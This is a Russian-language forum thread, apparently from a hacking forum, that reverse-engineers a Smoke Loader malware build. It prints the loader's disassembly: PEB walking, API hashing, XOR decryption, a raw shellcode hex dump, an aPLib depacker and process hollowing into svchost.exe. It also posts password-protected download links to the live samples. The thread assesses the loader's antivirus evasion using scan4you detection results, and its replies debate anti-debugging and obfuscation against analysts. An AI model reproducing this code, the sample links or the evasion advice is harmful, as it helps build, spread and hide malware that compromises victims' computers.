• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Реверсинг Smoke Loader

Chococream

Старожил форума
Легенда
Регистрация
31.10.2009
Сообщения
347
Реакции
42
Добрый день!
Полазив по трекерам, наткнулся на свежеиспечённый билд Smoke Loader.
До этого на конференции кто-то выложил его, сейчас же бот немного видоизменился :)


Я не буду описывать то, как я снимал криптор, приступим к основной части.
Размер файла после распаковки в памяти: 12 288 байт.

FalseEntryPoint():
Передача управления через SendMessageCallbackA(hWnd,WM_SETVISIBLE,0,0,TrueEntryPoint,0);
Скорее всего аверы обламываются на этом :)

Код:
        push ebx
        sub dword ptr [0*04004h],1
        jnb loc_00*01589
        call GetDesktopWindow
                
        mov ebx,eax
        push smoke_00*04010
        push ebx
        call GetWindowRect
                   
        test eax,eax
        je loc_00*01582
        push 2
        push 0
        call GetDlgItem
        push eax
        call SetFocus 
 
        push 0
        push 0
        push 0
        push 0
        mov eax,dword ptr [0*0401ch]
        push eax
        mov eax,dword ptr [0*04018h]
        push eax
        mov eax,dword ptr [0*04014h]
        push eax
        mov eax,dword ptr [0*04010h]
        push eax
        push 0
        push 0
        push smoke_00*0158c                ; "Message"
        push 1
        call CreateWindowExA 
                
        mov ebx,eax
        test ebx,ebx
        jnz loc_00*0156F
        push 1
        push ebx
        call ShowWindow
        jmp loc_00*01582

loc_00*0156f:
        push 0
        push smoke_00*012a8
        push 0
        push 0
        push 9
        push ebx
        call SendMessageCallbackA            

loc_00*01582:
        push 0
        call ExitProcess                     

loc_00*01589:
        pop ebx
        retn


TrueEntryPoint():
Получаем адрес kernel библиотеки.
Код:
 pushad
 xor ecx,ecx
 xor eax,eax
 mov esi,dword ptr fs:[030h]  ; PEB
 mov esi,dword ptr [esi+0ch]  ; PEB->Ldr
 mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList

@@:
 inc al
 mov ebp,dword ptr [esi+8]
 mov edi,dword ptr [esi+020h]
 mov esi,dword ptr [esi]
 cmp al,1
 jnz @next
 mov dword ptr [kernel],ebp

@next:

 cmp byte ptr [edi+018h],cl
 jnz @b
 mov dword ptr [kernel],ebp
 popad

Далее получаются адреса апи, при этом используются хэши, вместо имён функций(парсится таблица
экспорта у kernel библиотеки).
GetModuleFileNameA,CloseHandle,CreateProcessA,VirtualAlloc,lstrlenA,Sleep,ZwCreateSection,
ZwMapViewOfSection,ZwUnmapViewOfSection,ZwResumeThread,ZwGetContextThread,ZwSetContextThread.


Спим 2 секунды.

Создаём ZwCreateSection виртуальную секцию, далее проецируем её в а.п. текущего процесса
(ZwMapViewOfSection).
Если всё прошло удачно, то выделяется VirtualAlloc(0,1000h,MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE)
кусок памяти размером в 1000 байт и в него байт за байтом, размещается расшифрованный шеллкод.

Процедура расшифровки:
Код:
decrypt proc from, to, size
        pusha
        mov esi, from
        lods byte ptr [esi]  ; Загружаем в al первый байт в шеллкоде.
        mov dl,al            ; Это и есть наш ключик.
        mov edi,to
        mov ecx,size

loc_00*01353:
        lodsb
        xor al,dl
        stosb
        loopd loc_00*01353
        popa
decrypt endp

Дамп секции:
Размер шеллкода: 6198 байт.

Код:
00393FFA   00 00 00 00 00 00 E8 00  00 00 00 5B 83 EB 05   ......e....[?e.
003A0009   31 C9 64 8B 71 30 8B 76  0C 8B 76 1C 8B 6E 08   1Ed‹q0‹v.‹v.‹n.
003A0018   8B 7E 20 8B 36 38 4F 18  75 F3 89 AB 00 05 00   ‹~ ‹68O.uo‰«...
003A0027   00 8D B3 04 05 00 00 E8  52 01 00 00 8D B3 20   .??....eR...?? 
003A0036   12 00 00 AC 88 C2 89 F7  8B 8B 10 12 00 00 49   ...¬?A‰?‹‹....I
003A0045   AC 32 C2 AA E2 FA 6A 40  68 00 10 00 00 68 00   ¬2A?auj@h....h.
003A0054   40 00 00 6A 00 FF 93 04  05 00 00 89 83 00 09   @..j.y“....‰?..
003A0063   00 00 89 C5 89 C1 8D 83  21 12 00 00 E8 57 01   ..‰A‰A??!...eW.
003A0072   00 00 89 EE 81 C6 00 01  00 00 6A 40 68 00 10   ..‰i??....j@h..
003A0081   00 00 8B 46 50 50 6A 00  FF 93 04 05 00 00 89   ..‹FPPj.y“....‰
003A0090   83 10 09 00 00 60 8B 4E  54 81 EE 00 01 00 00   ?....`‹NT?i....
003A009F   89 C7 FC F3 A4 61 89 80  34 01 00 00 60 0F B6   ‰Cuo¤a‰€4...`.¶
003A00AE   4E 06 83 F9 00 0F 8E B7  00 00 00 81 C6 F8 00   N.?u..Z·...??o.
003A00BD   00 00 51 8B 4E 10 85 C9  7E 0F 56 8B 7E 0C 01   ..Q‹N.…E~.V‹~..
003A00CC   C7 8B 76 14 01 EE FC F3  A4 5E 83 C6 28 59 E2   C‹v..iuo¤^??(Ya
003A00DB   E3 61 60 89 C6 89 EB 8B  43 3C 8D 44 18 18 8B   aa`‰?‰e‹C<?D..‹
003A00EA   50 1C 89 F3 8B 43 3C 8D  44 18 18 29 DA 8D B0   P.‰o‹C<?D..)U?°
003A00F9   88 00 00 00 8B 36 85 F6  74 2E 01 DE 83 3E 00   ?...‹6…ot..??>.
003A0108   74 27 8B 3E 8B 4E 04 83  E9 08 D1 E9 83 C6 08   t'‹>‹N.?e.Ne??.
003A0117   31 C0 66 AD A9 00 30 00  00 74 0B 25 FF 0F 00   1Af­©.0..t.%y..
003A0126   00 01 D8 01 F8 29 10 E2  EA EB D4 61 89 C5 8D   ..O.o).aeeOa‰A?
003A0135   BB 00 12 00 00 03 80 78  01 00 00 8B 48 14 0B   ».....€x...‹H..
003A0144   48 18 74 28 8B 70 20 01  EE 8B 50 1C 01 EA 8B   H.t(‹p .i‹P..e‹
003A0153   12 01 EA 8B 0F 8B 36 01  EE 3B 0E 75 10 8D BB   ..e‹.‹6.i;.u.?»
003A0162   14 12 00 00 57 8D BB 00  10 00 00 57 FF D2 6A   ....W?»....WyOj
003A0171   64 FF 93 08 05 00 00 EB  F6 C3 EB 08 E8 09 00   dy“....eoAe.e..
003A0180   00 00 89 46 FC AD 85 C0  75 F3 C3 56 89 C2 8B   ..‰Fu­…AuoAV‰A‹
003A018F   45 3C 8B 7C 28 78 01 EF  8B 77 20 01 EE 56 AD   E<‹|(x.i‹w .iV­
003A019E   01 E8 31 C9 C1 C1 08 32  08 40 80 38 00 75 F5   .e1EAA.2.@€8.uo
003A01AD   31 D1 75 EC 58 29 C6 D1  EE 03 77 24 0F B7 44   1NuiX)?Ni.w$.·D
003A01BC   2E FE C1 E0 02 03 47 1C  8B 04 28 01 E8 5E C3   .?Aa..G.‹.(.e^A
003A01CB   60 89 C6 89 CF FC B2 80  31 DB A4 B3 02 E8 6D   `‰?‰Iu?€1U¤?.em
003A01DA   00 00 00 73 F6 31 C9 E8  64 00 00 00 73 1C 31   ...so1Eed...s.1
003A01E9   C0 E8 5B 00 00 00 73 23  B3 02 41 B0 10 E8 4F   Ae[...s#?.A°.eO
003A01F8   00 00 00 10 C0 73 F7 75  3F AA EB D4 E8 4D 00   ....As?u??eOeM.
003A0207   00 00 29 D9 75 10 E8 42  00 00 00 EB 28 AC D1   ..)Uu.eB...e(¬N
003A0216   E8 74 4D 11 C9 EB 1C 91  48 C1 E0 08 AC E8 2C   etM.Ee.‘HAa.¬e,
003A0225   00 00 00 3D 00 7D 00 00  73 0A 80 FC 05 73 06   ...=.}..s.€u.s.
003A0234   83 F8 7F 77 02 41 41 95  89 E8 B3 01 56 89 FE   ?ow.AA•‰e?.V‰?
003A0243   29 C6 F3 A4 5E EB 8E 00  D2 75 05 8A 16 46 10   )?o¤^eZ.Ou.S.F.
003A0252   D2 C3 31 C9 41 E8 EE FF  FF FF 11 C9 E8 E7 FF   OA1EAeiyyy.Eecy
003A0261   FF FF 72 F2 C3 61 C3 00  00 00 00 00 00 00 00   yyroAaA........

Работу шеллкода я опишу чуть позже, а теперь в секцию помещают:
1)Результат работы функции GetModuleFileName, видимо для удаления исходного файла.
2)Имя экспортируемой функции, в нашем случае "Work".
3)Пакованный(при помощи библиотеки ApLib) файл и dword, показывающий его размер.
4)2 хэша для апи: VirtualAlloc,Sleep.

Происходит вызов ZwUnmapViewOfSection и данные оказ-ся в виртуальной секции.

Теперь создаётся процесс CreateProcessA(0,"svchost.exe",0,0,0,CREATE_SUSPENDED,0,0,si,pi)
в приостановленном состоянии, в процесс svchost.exe проецируется наша секция с шк, затем
получается контекст процесса ZwGetContextThread, и меняется eip ZwSetContextThread на точку
входа нашего шк, далее поток из спящего состояния при помощи ZwResumeThread снова возобновляется,
а исходный процесс завершается ExitProcess(0).


Мы оказались в созданном нами процессе svchost.exe.

Получаем адрес kernel библиотеки:
Код:
  xor ecx,ecx
  mov esi,dword ptr fs:[030h]  ; PEB
  mov esi,dword ptr [esi+0ch]  ; PEB->Ldr
  mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList
@@:
  mov ebp,dword ptr [esi+8h]
  mov edi,dword ptr [esi+20h]
  mov esi,dword ptr [esi]
  cmp byte ptr [edi+18h],cl
  jnz @b
  mov dword ptr [kernel],ebp

Находим адреса 2-х апи: VirtualAlloc,Sleep.

Расшифроввываем образ нашего файла:
Код:
        pushad
        lea esi, offset shellcode
        mov ecx, size
        lods byte ptr [esi]  ; Загружаем в al первый байт в шеллкоде.
        mov dl,al            ; Это и есть наш ключик.
        mov edi,dword ptr [ebp-4]
        mov ecx,dword ptr [ebp-8]

loc_00*01353:
        lodsb
        xor al,dl
        stosb
        loopd loc_00*01353
        popad

Выделяем память для файла VirtualAlloc(0,4000h,MEM_COMMIT,PAGE_EXECUTE_READWRITE).
Распаковвываем файл:
Код:
_aP_depack:
; -> ESI - pointer to source
; -> EDI - pointer to destination
    pusha
    cld
    mov dl,80h
    xor ebx,ebx
@_1_literal:
    movsb
    mov bl,2
@_1_nexttag:
    call @_1_getbit
    jnc @_1_literal
    xor ecx,ecx
    call @_1_getbit
    jnc @_1_codepair
    xor eax,eax
    call @_1_getbit
    jnc @_1_shortmatch
    mov bl,2
    inc ecx
    mov al,10h
@_1_getmorebits:
    call @_1_getbit
    adc al,al
    jnc @_1_getmorebits
    jnz @_1_domatch
    stosb
    jmp short @_1_nexttag
@_1_codepair:
    call @_1_getgamma_no_ecx
    sub ecx,ebx
    jnz @_1_normalcodepair
    call @_1_getgamma
    jmp short @_1_domatch_lastpos
@_1_shortmatch:
    lodsb
    shr eax,1
    jz @_1_donedepacking
    adc ecx,ecx
    jmp short @_1_domatch_with_2inc
@_1_normalcodepair:
    xchg eax,ecx
    dec eax
    shl eax,8
    lodsb
    call @_1_getgamma
    cmp eax,32000
    jae @_1_domatch_with_2inc
    cmp ah,5
    jae @_1_domatch_with_inc
    cmp eax,7Fh
    ja @_1_domatch_new_lastpos
@_1_domatch_with_2inc:
    inc ecx
@_1_domatch_with_inc:
    inc ecx
@_1_domatch_new_lastpos:
    xchg eax,ebp
@_1_domatch_lastpos:
    mov eax,ebp
    mov bl,1
@_1_domatch:
    push esi
    mov esi,edi
    sub esi,eax
    rep movsb
    pop esi
    jmp short @_1_nexttag
@_1_getbit:
    add dl,dl
    jnz @_1_stillbitsleft
    mov dl,[esi]
    inc esi
    adc dl,dl
@_1_stillbitsleft:
    ret
@_1_getgamma:
    xor ecx,ecx
@_1_getgamma_no_ecx:
    inc ecx
@_1_getgammaloop:
    call @_1_getbit
    adc ecx,ecx
    call @_1_getbit
    jc @_1_getgammaloop
    ret
@_1_donedepacking:
    popa
    ret

Выделяем память согласно ImageSize из PE заголовка. Дальнейшие действия я не описываю, т.к они
относятся к теме PE загрузчика, там всё просто: расставляются секции, таблица импорта и управление
передаётся на заранее записанную функцию "Work".

Кстати, если посмотреть на файл в памяти, то судя по PE заголовку - это dll`ка.
Размер dll`ки: 16384 байт.

В точке входа экспортируемой функции всё также просто:
Получаем адрес kernel библиотеки.
Код:
 pushad
 xor ecx,ecx
 xor eax,eax
 mov esi,dword ptr fs:[030h]  ; PEB
 mov esi,dword ptr [esi+0ch]  ; PEB->Ldr
 mov esi,dword ptr [esi+01ch]; PEB->Ldr->InInitializationOrderModuleList

@@:
 inc al
 mov ebp,dword ptr [esi+8]
 mov edi,dword ptr [esi+020h]
 mov esi,dword ptr [esi]
 cmp al,1
 jnz @next
 mov dword ptr [kernel],ebp

@next:

 cmp byte ptr [edi+018h],cl
 jnz @b
 mov dword ptr [kernel],ebp
 popad

Далее получаются адреса апи, при этом используются хэши, вместо имён функций(парсится таблица
экспорта у kernel библиотеки).
kernel32.dll: IsWow64Process,GetProcAddress,GetModuleHandleA,lstrlenA,VirtualAlloc,VirtualFree,ExitProcess,LoadLibraryA,FreeLibrary,lstrcatA,lstrcmpA,GetComputerNameA,GetModuleFileNameA,
GetTempPathA,GetTempFileNameA,CopyFileA,CloseHandle,CreateProcessA,GetFileSize,CreateFileA,
ReadFile,WriteFile,DeleteFileA,GetVersion,SetFileAttributesA,GetSystemDirectoryA,SetFileTime,
GetFileAttributesExA,CreateMutexA,Sleep,CreateThread,GetProcessHeap.

advapi32.dll: RegCreateKeyA,RegSetValueExA,RegOpenKeyA,RegCloseKey,RegEnumKeyA,RegEnumValueA,
MD5Init,MD5Final,MD5Update.

ws2_32.dll: WSAStartup,gethostbyname,socket,ntohs,connect,send,recv,closesocket.

user32.dll: wsprintfA,RtlGetLastWin32Error,RtlAllocateHeap,RtlReAllocateHeap,RtlFreeHeap.

shell32.dll: SHGetFolderPathA.


Main():
Вначале инициализируем сокет, получаем имя компьютера GetComputerNameA, затем высчитываем
md5 хэш(MD5Init,MD5Update,MD5Final) имени вашего компьютера для дальнейшей отправки на сервер.

Я полностью проанализировал работу лоадера и честно говоря ничего нового не увидел.
Судя по вышепривидённым апишкам можно говорить о том, как он устроен изнутри, не прибегая
к дизассемблированию всего файла.

My opinion:
Автор лоадера создал своеобразную матрёшку:
1)Криптором файл размещается в памяти.
2)Создаётся процесс svchost.exe и туда маппится шеллкод.
3)Из шеллкода распаковвывается дллка и маппится в svchost.exe.

Минусы:
1)Нет обфускации, т.о. в памяти один и тот же кодес, что упрощает работу аверов.
Я проверил сэмплы на scan4you.net, рез-ты таковы:
DLL: Avira, Essentials.
EXE: Avira, BitDefender, F-Secure Internet Security, G-Data, Kaspersky, Essentials, NOD32, BullGuard.
2)Нет антидебага.
3)Код не оптимизирован вообще.
4)Технологии давно уже паблик, но думаю лоадер подойдёт для бюджетного варианта.

Для любопытных я прикладываю аттач, есс-но под хайдом.

Респект всем мемберам ДЛ, особенно тем, кто старается поддержать и наполнить форум.
P.S: Ответственности за реверс не несу, всё в ознакомительных целях.

Добавлено в [time]1320523652[/time]
Файлы к статье:
Линк: http://zalil.ru/32000169
Линк2: http://www.datafilehost.com/download-198c4f54.html
Линк3: http://rghost.ru/28722321

Пароль: S(D&!(WDUS*(Q&D(QSD&(Q&OJSGSI)Q*9u12opsja0d
 
Отсутствие антидебага скорее не баг а фича. От реверсера все равно ничего не спасет, а анивирусу даст лишний бал при проведении поведенческого или сигнатурного анализа. Из минусов могу заметить АПЛИБ, некоторые антивирусы ругаются просто на его присутствие. Видимо так часто его используют в "нехороших" целях.
 
Отсутствие антидебага скорее не баг а фича
Он убрал свой паблик антидебаг, чтобы лишний раз не смешить реверсера и не поднимать ему настроение.
От реверсера все равно ничего не спасет
спасет
а анивирусу даст лишний бал при проведении поведенческого или сигнатурного анализа.Из минусов могу заметить АПЛИБ, некоторые антивирусы ругаются просто на его присутствие
не в тему , все выполняется из памяти , а на это все хозяйство навешивается крипт
 
Хехе, знатоки антидебага, поделитесь "непаблик" методом... и что он даст в целом? Ога...

Вот только не надо предлагать виртаулизировать код и т.п.

Весь известный мне антидебаг обходится несколькими плагинами к ольке и наличием прямых рук.
 
Хехе, знатоки антидебага, поделитесь "непаблик" методом...
на то он и непаблик метод, чтобы им не делиться с первым встречным :nono: хотя секрета особого нет, метод этот - прямые руки + сообразительность + добавление гемора реверсеру. Ибо дураку ничего не поможет , если у него даже и будет на руках непаблик - он все равно сделает
Код:
if (nopublic == underdebugger)
 экзитпроцесс

и что он даст в целом? Ога...
я не говорю что есть универсальное решение - все зависит от настойчивости, свободного времени и терпения реверсера. Но во многих случаях это может помочь, как максимум чтобы невозможно было сделать билдер к софту.
Вот только не надо предлагать виртаулизировать код и т.п.
ну а как тогда же , если без хорошей обфускации как минимум.
 
Именно в данном случае, когда бинарь весит 5-10 Кб, никакая антиотладка не поможет т.к все трейсицо вручную на раз-два.

Обфускация, а что она даст? Только на первый взгляд мусор и все...

Честно говоря, мне еще не попадалась малварь р3, чтобы под нее невозможно было сделать билдер :rolleyes:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх